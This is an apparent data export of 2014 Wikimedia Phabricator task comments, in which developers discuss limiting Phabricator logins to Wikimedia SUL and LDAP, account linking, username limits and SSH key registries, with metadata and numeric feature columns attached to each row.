I had the complete choice of which Phabricator username to use.  I went with PhabricatorTest_____; however, it's still fully linked to the MediaWiki.org account with a different name (the screenshot below shows the linkage, but unfortunately not the Phabricator username).

{F8129}"
149,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-06-12 21:01:55 (UTC)`

Wrench in plans. Phabricator only supports very limited usernames: ""Usernames must contain only numbers, letters, period, underscore and hyphen, and can not end with a period. They must have no more than 64 characters."" Which means a ton of MediaWiki usernames can't be used as the Phabricator username.

Do we,
a) Try to fix Phabricator, and continue with the current plan
b) Come up with a new plan

",,,1410484856,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,1.0,1.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,2.0,0.0,1.0,0.0,5.0,10.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,12.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,2.0,10.0,4.0,0.0,2.0,0.0,2.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,2.0,3.731958762886598,0.6804123711340206,"**csteipp** wrote on CODE

Wrench in plans. Phabricator only supports very limited usernames: ""Usernames must contain only numbers, letters, period, underscore and hyphen, and can not end with a period. They must have no more than 64 characters."" Which means a ton of MediaWiki usernames can't be used as the Phabricator username.

Do we,
a) Try to fix Phabricator, and continue with the current plan
b) Come up with a new plan

"
148,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-06-12 16:45:17 (UTC)`

fwiw we should use this logo: https://commons.wikimedia.org/wiki/File:Wikimedia-logo.svg",,,1410484856,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.823529411764706,0.8235294117647058,"**qgil** wrote on CODE

fwiw we should use this logo: URL"
147,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**csteipp** wrote on `2014-06-12 16:23:57 (UTC)`

>>! In T40#97, @mattflaschen wrote:
> It looks like the initial version of this is implemented (cool!) at http://fab.wmflabs.org/settings/panel/external/, but it's showing the Amazon.com logo.  We should just hide the Amazon.com logo (CSS `.login-MediaWiki {display: none}` ) until the logo can be done properly.

I gave Chad my ugly version of our logo (anyone else is welcome to cleanup my sprite). I'm happy to send the patch to anyone else with shell on that box.",,,1410484855,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,4.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,4.0,14.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,14.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2653061224489797,0.7346938775510204,"**csteipp** wrote on CODE

QUOTE
QUOTE

I gave Chad my ugly version of our logo (anyone else is welcome to cleanup my sprite). I'm happy to send the patch to anyone else with shell on that box."
146,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-06-12 04:57:18 (UTC)`

Damn, our s3kr37 plan to move the hosting of all Wikimedia projects to AWS has been leaked!!!",,,1410484855,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,0.0,0.0,7.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,13.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2666666666666666,0.8,"**qgil** wrote on CODE

Damn, our s3kr37 plan to move the hosting of all Wikimedia projects to AWS has been leaked!!!"
145,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-06-12 03:54:32 (UTC)`

It looks like the initial version of this is implemented (cool!) at http://fab.wmflabs.org/settings/panel/external/, but it's showing the Amazon.com logo.  We should just hide the Amazon.com logo (CSS `.login-MediaWiki {display: none}` ) until the logo can be done properly.",,,1410484854,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,9.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,15.0,0.0,2.0,9.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,6.0,9.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.641509433962264,0.7547169811320755,"**mattflaschen** wrote on CODE

It looks like the initial version of this is implemented (cool!) at URL but it's showing the Amazon.com logo.  We should just hide the Amazon.com logo (CSS CODE ) until the logo can be done properly."
144,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mmodell** wrote on `2014-06-02 23:09:12 (UTC)`

I already ran into an issue with reliability of the phabricator oauth plugin. I need to test further and get this rock solid reliable.",,,1410484854,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,14.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.8571428571428571,"**mmodell** wrote on CODE

I already ran into an issue with reliability of the phabricator oauth plugin. I need to test further and get this rock solid reliable."
143,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-06-02 22:12:17 (UTC)`

Just fyi, the [[ http://fab.wmflabs.org/project/view/40/ | Trusted User Tool ]] will be deployed before Day 1. It only requires Wikimedia SUL. This will give us a chance to understand better and test the connection between accounts and providers.",,,1410484854,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,21.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,4.0,8.0,11.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,3.660377358490566,0.8113207547169812,"**qgil** wrote on CODE

Just fyi, the [[ URL | Trusted User Tool ]] will be deployed before Day 1. It only requires Wikimedia SUL. This will give us a chance to understand better and test the connection between accounts and providers."
142,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mmodell** wrote on `2014-06-02 16:11:24 (UTC)`

> @mattflaschen wrote:

>It's not clear if Phabricator can actually use LDAP as its username database, or just let you create an account based on LDAP (the same way you >can log in to a site via OAuth, but that consuming site has their own user table).

No, phabricator does not ""actually use LDAP as it's username database"" .... it uses ldap like another oauth provider.

>>! In T40#90, @Krinkle wrote:

> 
> Having two separate SSH key registries (one in LDAP for Labs/Wikitech etc, and one in Phab) should be avoided.

The ssh key registry in phabricator is specifically designed for accessing repositories hosted by phab. Compare with garrit's ssh key registry.",,,1410484853,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,10.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.147058823529412,0.6911764705882353,"**mmodell** wrote on CODE

QUOTE

QUOTE

No, phabricator does not ""actually use LDAP as it's username database"" .... it uses ldap like another oauth provider.

QUOTE

QUOTE
QUOTE

The ssh key registry in phabricator is specifically designed for accessing repositories hosted by phab. Compare with garrit's ssh key registry."
141,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mmodell** wrote on `2014-06-02 16:07:49 (UTC)`

From a technical perspective, I think phabricator always has ""local"" accounts. It's just that it is flexible in allowing you to link your phabricator account to one or more external authentication providers. You can easily link and unlink any of the available providers at any time using familiar oauth flow.

",,,1410484853,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,3.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,6.0,1.0,3.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,7.0,1.0,3.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,9.0,12.0,1.0,0.0,3.0,0.0,9.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,4.253731343283582,0.8208955223880597,"**mmodell** wrote on CODE

From a technical perspective, I think phabricator always has ""local"" accounts. It's just that it is flexible in allowing you to link your phabricator account to one or more external authentication providers. You can easily link and unlink any of the available providers at any time using familiar oauth flow.

"
140,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**Krinkle** wrote on `2014-05-21 02:23:37 (UTC)`

mattflaschen:

>  maybe we can make some kind of one-time import bridge using OAuth against Wikitech and also authenticating against Phabricator's API

That would be undesirable. This is not about migrating from Gerrit, but about splitting ssh keys into separate buckets. People with developer accounts (despite the appreciated effort to make it easier for volunteers) will remain the majority user of this software. And in my opinion (for time and money reasons) must also be optimised for highly (both for continued productivity by our core contributors as well as to make it easier for developers volunteers to contribute and get started).

Having two separate SSH key registries (one in LDAP for Labs/Wikitech etc, and one in Phab) should be avoided.",,,1410484853,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,1.0,1.5,0.5,6.5,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,1.5,0.0,3.5,14.0,0.0,2.0,1.5,0.0,0.0,0.5,1.5,0.0,0.0,0.0,1.0,0.0,0.5,1.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,13.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,8.5,0.5,3.5,3.0,0.0,0.0,0.0,0.0,5.5,0.0,2.5,0.0,2.5,14.0,5.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,0.0,1.5,1.5,0.0,0.0,4.246153846153845,0.8076923076923077,"**Krinkle** wrote on CODE

mattflaschen:

QUOTE

That would be undesirable. This is not about migrating from Gerrit, but about splitting ssh keys into separate buckets. People with developer accounts (despite the appreciated effort to make it easier for volunteers) will remain the majority user of this software. And in my opinion (for time and money reasons) must also be optimised for highly (both for continued productivity by our core contributors as well as to make it easier for developers volunteers to contribute and get started).

Having two separate SSH key registries (one in LDAP for Labs/Wikitech etc, and one in Phab) should be avoided."
139,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**mattflaschen** wrote on `2014-05-17 00:03:17 (UTC)`

scfc:
> The question was about authenticating MediaWiki against Google accounts, and currently **Extension:**OpenID appears to be the (only?) way to do that, and that uses OpenID which Google still supports and will do so until [[https://developers.google.com/+/api/auth-migration?hl=de#timetable|April 20th, 2015]].

You're right, I forgot Google supports OpenID.

Krinkle:
> Claiming an e-mail address for imported content from Bugzilla seems useful though, but if possible, I think it'd be ideal if we can configure it such that e-mail addresses can only be connected/claimed to an account (e.g. one logged-in with LDAP), but not allow users to create new accounts with only an e-mail address (so that we only have 1 ""user name"", the one in LDAP, and no potential for conflicts or confusion.

It's not clear if Phabricator can actually use LDAP as its username database, or just let you create an account based on LDAP (the same way you can log in to a site via OAuth, but that consuming site has their own user table).

> I think LDAP makes more sense as primary over Wiki CentralAuth / OAuth due to the context of this service. Our primary audience and use case is developers and designers.

I don't completely agree with this perspective.  Getting staff members set up is not going to be an issue (even if a staff member doesn't yet have a Wikipedia or MediaWiki.org account, we have onboarding for that).  So I would say, we are most concerned about reducing friction for volunteers.

This includes both content volunteers (not familiar with code, but see bugs on the wiki occasionally) and software volunteers.  Content volunteers will often have an SUL account (they definitely will once SUL finalization is done), since they use Wikipedia/Wiktionary/etc.  Software volunteers either already have a MediaWiki.org account or can get one easily.

> And if they're new to all this and are coming from the community with just a wiki account, they're going to need an LDAP account sooner or later anyway.

I disagree with this.  If they just report bugs, discuss features, they will never need an LDAP account.  Our Phabricator should be open to constructive feedback from non-technical people.

> Also remember they'll need one or more ssh keys, a user name, possibly a shelel name (depending on how git/ssh works in Phabricator), two-step auth maybe, all of which we have on Wikitech in LDAP.

(None of this is part of day 1, but it is relevant).  You're right, it would be somewhat annoying to import the SSH keys again; maybe we can make some kind of one-time import bridge using OAuth against Wikitech and also authenticating against Phabricator's API.  Shell names are not an issue, since it uses the [same one for everyone](https://secure.phabricator.com/book/phabricator/article/diffusion_hosting/#configuring-ssh), like GitHub.",,,1410484852,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.25,0.0,0.25,0.25,1.5,4.5,1.75,0.0,0.0,0.75,0.5,1.0,0.0,0.25,0.0,2.0,0.5,6.75,8.25,0.25,0.5,0.25,0.5,0.0,0.5,0.0,0.0,0.0,1.0,1.25,0.25,5.25,0.5,1.5,1.0,1.0,0.0,0.0,0.0,0.25,0.0,1.25,0.5,0.5,0.0,0.5,0.0,0.0,0.0,14.5,1.25,0.25,0.0,0.75,0.5,0.5,0.0,0.0,0.25,0.0,0.75,1.5,0.0,0.0,0.0,0.0,0.0,3.5,2.5,11.5,1.5,2.25,5.25,0.0,0.0,0.0,0.0,4.5,0.0,0.75,0.0,5.75,8.25,5.0,0.0,0.0,0.0,5.75,0.0,0.0,2.25,0.0,1.75,0.0,0.25,0.75,3.9533491107286287,0.7718373493975905,"**mattflaschen** wrote on CODE

scfc:
QUOTE

You're right, I forgot Google supports OpenID.

Krinkle:
QUOTE

It's not clear if Phabricator can actually use LDAP as its username database, or just let you create an account based on LDAP (the same way you can log in to a site via OAuth, but that consuming site has their own user table).

QUOTE

I don't completely agree with this perspective.  Getting staff members set up is not going to be an issue (even if a staff member doesn't yet have a Wikipedia or MediaWiki.org account, we have onboarding for that).  So I would say, we are most concerned about reducing friction for volunteers.

This includes both content volunteers (not familiar with code, but see bugs on the wiki occasionally) and software volunteers.  Content volunteers will often have an SUL account (they definitely will once SUL finalization is done), since they use Wikipedia/Wiktionary/etc.  Software volunteers either already have a MediaWiki.org account or can get one easily.

QUOTE

I disagree with this.  If they just report bugs, discuss features, they will never need an LDAP account.  Our Phabricator should be open to constructive feedback from non-technical people.

QUOTE

(None of this is part of day 1, but it is relevant).  You're right, it would be somewhat annoying to import the SSH keys again; maybe we can make some kind of one-time import bridge using OAuth against Wikitech and also authenticating against Phabricator's API.  Shell names are not an issue, since it uses the [same one for everyone](URL like GitHub."
138,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**avive** wrote on `2014-05-16 16:52:22 (UTC)`

Phab lets you have 1 account, that is linked to as many auth methods as you'd like - they are all connected to the same Phabricator user. You can play with this on https://secure.phabricator.com/settings/panel/external/ (which have lots of auth methods enabled).

That being said, its also easy to accidentally create duplicate accounts by:
1. ""Register with Facebook""
2. Log out, forget you've used Facebook for this.
3. ""Register with Google""

which, since it can't guess this is the same person, may create a new account.
To reduce this, it's possible to only allow one/some providers to //register//, and others only for login.",,,1410484852,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1.5,0.0,0.0,1.5,0.5,5.0,0.5,0.0,0.0,0.0,1.0,2.0,0.0,1.5,0.0,0.0,0.0,4.0,10.5,0.0,2.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,4.0,1.5,2.0,1.0,2.0,0.0,0.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.0,1.5,0.0,0.0,0.0,2.0,2.0,8.0,0.5,0.5,7.0,0.0,0.0,0.0,0.0,7.5,0.0,1.0,0.0,4.5,10.5,3.5,0.0,3.0,0.0,4.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,2.0,3.4890601217656014,0.7375380517503805,"**avive** wrote on CODE

Phab lets you have 1 account, that is linked to as many auth methods as you'd like - they are all connected to the same Phabricator user. You can play with this on URL (which have lots of auth methods enabled).

That being said, its also easy to accidentally create duplicate accounts by:
1. ""Register with Facebook""
2. Log out, forget you've used Facebook for this.
3. ""Register with Google""

which, since it can't guess this is the same person, may create a new account.
To reduce this, it's possible to only allow one/some providers to //register//, and others only for login."
137,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**qgil** wrote on `2014-05-16 16:10:34 (UTC)`

A question while we decide on LDAP and GitHub: do all these authentication methods provide only different accounts belonging to a same person, or will Phabricator allow to manage these different identities under one username?

At least from the user point of view, the ideal situation would be:

* I can get a MyUsername after logging in with my Wikimedia SUL (or LDAP or GitHub...) credentials.
* Once I have a user profile, I can link to my profile my other identities with other providers.
* I can also claim email addresses, which will help linking migrated Bugzilla data with my account as well.
* No matter how do I log in, my actions in Phabricator will always refer to one single username.

Users will always have the choice of keeping their different identities separate by not linking them to a single profile.

Is this feasible? Desired?",,,1410484852,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.5,0.0,0.0,0.0,0.5,7.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.5,0.0,6.0,0.0,6.0,11.5,0.0,0.5,0.0,0.5,0.0,0.5,0.5,0.0,0.0,1.5,2.5,0.5,2.5,0.5,0.0,1.0,0.0,0.0,0.5,0.5,1.5,0.0,1.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.0,1.0,12.0,1.5,2.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,7.0,11.5,4.5,1.5,0.0,0.0,7.0,0.0,1.0,2.5,0.5,2.5,0.0,0.5,0.0,4.033333333333333,0.7289987789987791,"**qgil** wrote on CODE

A question while we decide on LDAP and GitHub: do all these authentication methods provide only different accounts belonging to a same person, or will Phabricator allow to manage these different identities under one username?

At least from the user point of view, the ideal situation would be:

* I can get a MyUsername after logging in with my Wikimedia SUL (or LDAP or GitHub...) credentials.
* Once I have a user profile, I can link to my profile my other identities with other providers.
* I can also claim email addresses, which will help linking migrated Bugzilla data with my account as well.
* No matter how do I log in, my actions in Phabricator will always refer to one single username.

Users will always have the choice of keeping their different identities separate by not linking them to a single profile.

Is this feasible? Desired?"
136,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**robla** wrote on `2014-05-15 23:58:46 (UTC)`

The discussion in [[ https://bugzilla.wikimedia.org/show_bug.cgi?id=14487 | bug 14487 ]] is relevant to this conversation.",,,1410484851,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.1538461538461537,0.8076923076923077,"**robla** wrote on CODE

The discussion in [[ URL | bug 14487 ]] is relevant to this conversation."
135,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**swalling** wrote on `2014-05-15 23:50:33 (UTC)`

Sorry, didn't mean to close this. The ""close task"" button is where Cancel usually is LOL. ",,,1410484851,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,16.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,6.0,10.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.193548387096774,0.7741935483870968,"**swalling** wrote on CODE

Sorry, didn't mean to close this. The ""close task"" button is where Cancel usually is LOL. "
134,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**swalling** wrote on `2014-05-15 23:49:54 (UTC)`

>I'd recommend using our LDAP/Labs/Wikitech as the primary method of authorisation and identification.

This doesn't work for non-technical users reporting bugs etc. That includes most WMF staff in Product/Design, who don't  all have Labs accounts ",,,1410484851,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,2.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,2.0,3.6666666666666665,0.8809523809523809,"**swalling** wrote on CODE

QUOTE

This doesn't work for non-technical users reporting bugs etc. That includes most WMF staff in Product/Design, who don't  all have Labs accounts "
133,"Support only WMF SUL and LDAP as authentication mechanisms (no purely local logins, no third party authentications)","**Krinkle** wrote on `2014-05-15 23:48:09 (UTC)`

I'd recommend using our LDAP/Labs/Wikitech as the primary method of authorisation and identification.

Adding multiple backends could be neat, but I'm not sure it's worth the hassle and burden it might add to the system, it's usability etc.

Claiming an e-mail address for imported content from Bugzilla seems useful though, but if possible, I think it'd be ideal if we can configure it such that e-mail addresses can only be connected/claimed to an account (e.g. one logged-in with LDAP), but not allow users to create new accounts with only an e-mail address (so that we only have 1 ""user name"", the one in LDAP, and no potential for conflicts or confusion.

I think LDAP makes more sense as primary over Wiki CentralAuth / OAuth due to the context of this service. Our primary audience and use case is developers and designers. They are more likely to have or need an LDAP account than a wiki account. And if they're new to all this and are coming from the community with just a wiki account, they're going to need an LDAP account sooner or later anyway. So maybe (if not already) we can have a ""Sign up"" link in Phabricator, sure, but have it point to account creation of LDAP/Labs/Wikitech instead. If that sign up form is so bad, we ought to improve it.

Also remember they'll need one or more ssh keys, a user name, possibly a shelel name (depending on how git/ssh works in Phabricator), two-step auth maybe, all of which we have on Wikitech in LDAP.
